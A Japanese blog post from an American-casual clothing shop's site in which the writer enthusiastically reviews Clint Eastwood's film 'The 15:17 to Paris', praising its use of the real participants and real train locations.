Matthews' Issue

アメカジオンラインショップのマニアックブログ。アメリカンカジュアルは面白い!

3月1日、15時17分

      2019/05/13

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映画の日&今年の注目作品公開日ということで、この辺含めて初の4ハシゴしてきました。なかでもやっぱりイーストウッド作品『15時17分、パリ行き』ですよ。観る前に情報を入れたくない方は読まないでね。

題材はアムステルダム発パリ行きの列車内で起こったテロ事件。ここ数年でも事実に基づく作品の多いイーストウッド監督ですが、もともと監修者として映画製作に参加していた当事者、ついに素人を中心に据えてしまいました。

文春に載ってた町山智浩さんのコラムを映画前にうっかり読んでしまい、この予告にもあるキモ部分の先が分かってしまったのですが、結果大して気にならなかったのは、ネタばらし系の映画ではないからかなと。

迷彩服姿の全力疾走も、緊迫した状況でもなんでもなく単に寝坊で訓練に遅れて「ヤベー!」ってなってるだけですからね。ま、予告にありがちな編集です。


軍人だけど特段にエリートというわけではなく、ordinary people(US trailerより)の物語。だからスゴイ。こっちの予告編でのテーブル撥ね上げるアクションとか、「Spencer, go!」って言われて躊躇なくダッシュする姿がチョーカッコイイ。演技の素人でもこんなに魅せてしまうイーストウッドマジック。映画は監督のものとはよく言ったものです。

この映画の、というかイーストウッドすげえなと思うのは、3人だけでなく列車内のシーンは当時乗り合わせていた乗客(フラッシュバック起こしちゃうよ)&携わった警察救護関係者に出来る限り出演してもらい、撮影当日も実際に運行している列車の2車輛を貸し切っただけなんですって。アムスーパリ間はこの特急でたったの3時間強だから何度も撮り直しが出来ないし、そりゃ緊迫感出ますわな。

そしてクライマックスはエンディングです。

『アメリカンスナイパー』や『ハドソン川の奇跡』など、近年の、事実ベースのイーストウッド作品ではおなじみの構成なのですが(だからできれば上2作品は先に観ておいてほしい!)、分かっていても「ああっ!」と確実になります。決して激しいシーンではないのですが、めちゃくちゃ迫力あります。

前2作も今回のための習作かと思ってしまう位、ドキュメンタリーとエンターテインメントの垣根を溶かしてしまいました。Rotten Tomatoes の低評価がなんだ。大傑作じゃないか!

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